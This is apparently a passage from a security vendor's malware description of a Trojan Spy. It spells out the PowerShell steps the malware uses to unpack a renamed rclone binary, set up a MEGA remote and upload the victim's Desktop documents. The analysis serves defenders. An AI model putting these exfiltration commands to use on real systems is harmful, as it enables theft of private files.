Other Details

This Trojan Spy does the following:

  • After downloading the zip file (%User Temp%/a.zip), it will execute the following powershell commands:
    • Expand-Archive $f -DestinationPath ./ → extracts the file inside a.zip (l.exe)
    • Copy-Item -Path .\l.exe -Destination $ENV:USERPROFILE; → the extracted file (l.exe) is copied to the %User Profile% folder
    • .\l.exe config create remote mega user {email} pass {password} →l.exe is a copy of rclone, which is a legitimate cloud sync tool but can be abused for data theft
    • .\l.exe copy --max-age 2y $ENV:USERPROFILE\Desktop\ remote:backup -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 --bwlimit 100M --include "*.doc" --include "*.docx" --include "*.pd*" --include "*.txt" -P → uploads files that match the patterns to a MEGA url

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
